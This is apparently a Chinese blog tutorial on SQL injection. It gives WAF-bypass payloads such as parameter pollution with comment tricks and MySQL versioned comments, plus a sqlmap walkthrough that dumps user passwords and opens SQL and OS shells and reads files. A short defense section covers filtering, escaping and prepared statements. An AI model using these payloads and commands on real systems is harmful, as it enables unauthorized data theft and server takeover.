网络安全之SQL注入及防御(下篇)

ops/2024/10/19 23:24:08/

目录

什么是SQL注入?

一,SQL注入会导致什么呢?

二,SQL注入思想与步骤

三,SQL注入的绕过

四,sqlmap工具的使用

 五,sql注入的防御方法

总结


什么是SQL注入?

SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在应用程序的输入字段中插入恶意的SQL代码,在应用程序未授权的情况下执行任意的SQL语句。

一,SQL注入会导致什么呢?

1,数据泄露:我们的账号密码,个人身份信息的等等

2,数据篡改:篡改商品的价格,学生成绩等等

3,数据删除:删除某些数据

4,拒绝服务攻击(DoS):利用SQL注入制作大量查询和复杂的操作导致系统资源耗尽

5,提权攻击:利用SQL注入提升权限执行系统命令等

6,绕过身份验证:利用SQL注入绕过身份验证使得攻击者管理员特权身份

二,SQL注入思想与步骤

1,找到注入点

2,获取对方数据库名字

3,获取对方数据库中有那些表

4,获取表中有哪些字段

5,获取字段表中的数据

三,SQL注入的绕过

开启waf

注入sql代码:

union select 1,2,3,select database()

可以看到被防火墙拦截了

那么怎么办呢?

这种情况下get的提交方式不行,就用post加特殊字符过滤绕过检测

sql注入代码:

        ?id=1/**&id=-1%20union%20select%201,2,3,database/**/()%23*/

 /**/在数据库中是注释符号,%20是空格,%23是#

web服务器参数获取函数获取到的参数
PHP/Apache$_GET("par")最后一个
JSP/TomcatRequest.getParameter("par")第一个
Perl(CGI)/ApacheParam("par")第一个
Python/ApacheGetvalue("par")所有的
ASP/IISRequest.QueryString("par")所有的

利用数据库的特性

sql注入代码:

?id=-1%20union%20/*!44509select*/%201,2,3,4

四,sqlmap工具的使用

sqlmap 是一个开源的渗透测试工具,它能自动检测和利用SQL注入漏洞并接管数据库,现在非常强了,都能自动绕过waf了。

这是一个kali linux自带的工具

1,检测网站是否存在sql注入漏洞

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2'

2,查看当前数据库

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --current-db

3,查看数据库中有那些表

 sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' -D jrlt --tables

 4,查看表中有那些字段

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' -D jrlt -T users --columns

5, 列出其中的数据

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' -D jrlt -T users -C name,password --dump

6,执行sql语句

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --sql-shell

7, 爆破数据库弱密码

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --password

 8,执行系统命令

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --os-shell

9,读取系统文件

sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --file-read "D:\1.txt" 

 五,sql注入的防御方法

1,过滤

【1】限制参数的长度

【2】过滤掉恶意代码(例如:select,union,order by,update)

2,转义

把用户输入的数据当成文本

3,数据库安全控制

【1】设置权限

【2】数据加密

4,进行预编译

总结

时代在发展,科技在进步,在当下一日千里的时代我们今天学的东西明天可能就过时了,有时候绕过waf时非常轻松,但是过了一段时间发现同样的方法已经绕不过了,那咋办呢?凉拌?那当然是保持学习,与时俱进,网络安全不就是道高一尺魔高一丈嘛,网络安全技术在升级,我们也应当保持积极学习的心态,去挖掘其中的奥义,积极吸取他人的经验。


http://www.ppmy.cn/ops/19891.html

相关文章

每日一题:对比Vector、ArrayList、LinkedList有何区别❓

Vector🍑 线程安全:Vector 是同步的,因此它是线程安全的。但这也意味着它在单线程环境下的性能比非同步类 ArrayList 要低。数据增长:当需要增加容量时,Vector 默认增长为原来的两倍,这个增长率是可以自定…

【Jenkins】持续集成与交付 (一):深入理解什么是持续集成?

【Jenkins】持续集成与交付 (一):深入理解什么是持续集成? 1、软件开发生命周期与持续集成2、 持续集成的流程3、持续集成的好处4、Jenkins的应用实践5、结语💖The Begin💖点点关注,收藏不迷路💖 1、软件开发生命周期与持续集成 软件开发生命周期(SDLC)是指软件从…

设计模式- 策略模式(Strategy Pattern)结构|原理|优缺点|场景|示例

设计模式(分类) 设计模式(六大原则) 创建型(5种) 工厂方法 抽象工厂模式 单例模式 建造者模式 原型模式 结构型(7种) 适配器…

CrushFTP 服务器端模板注入漏洞(CVE-2024-4040)复现

CrushFTP 服务器端模板注入漏洞(CVE-2024-4040)复现 1.漏洞描述 CrushFTP是由CrushFTP LLC开发的文件传输服务器软件。CrushFTP的主要用途是提供安全、可靠的文件传输服务。它允许用户通过多种协议(如FTP、SFTP、HTTP、WebDAV等)安全地上传、下载和管理…

【Pyhton爬虫实战】爬取京东商城的商品信息

爬取京东商城的商品信息,并将数据以Dataframe形式展示 from selenium.webdriver import Chrome, ChromeOptions import re import pymysql from selenium.webdriver.common.by import By import collections import pandas as pdclass Spider():def __init__(self)…

基于 Spring Boot 博客系统开发(三)

基于 Spring Boot 博客系统开发(三) 本系统是简易的个人博客系统开发,为了更加熟练地掌握 SprIng Boot 框架及相关技术的使用。🌿🌿🌿 基于 Spring Boot 博客系统开发(二)&#x1f…

ORACLE 中varchar2类型的日期数字,例如20230814,转为2023-08-14

ORACLE 中varchar2类型的日期数字,例如20230814,转为2023-08-14 引言场景一:简单格式转换场景二:更新字段为日期类型场景三:在WHERE子句中处理varchar日期场景四:联合其他日期操作总结 引言 在Oracle数据库…

STL--string详解

STL基本内容 string是什么 string实质上是一个对象 string可看作一个串,类似字符数组 可以扩容,可以增删查改 可用下表访问操作符[]引用,修改某值 构造函数 默认构造 拷贝构造:参数为(string 或 char*) 求string对象的长度不…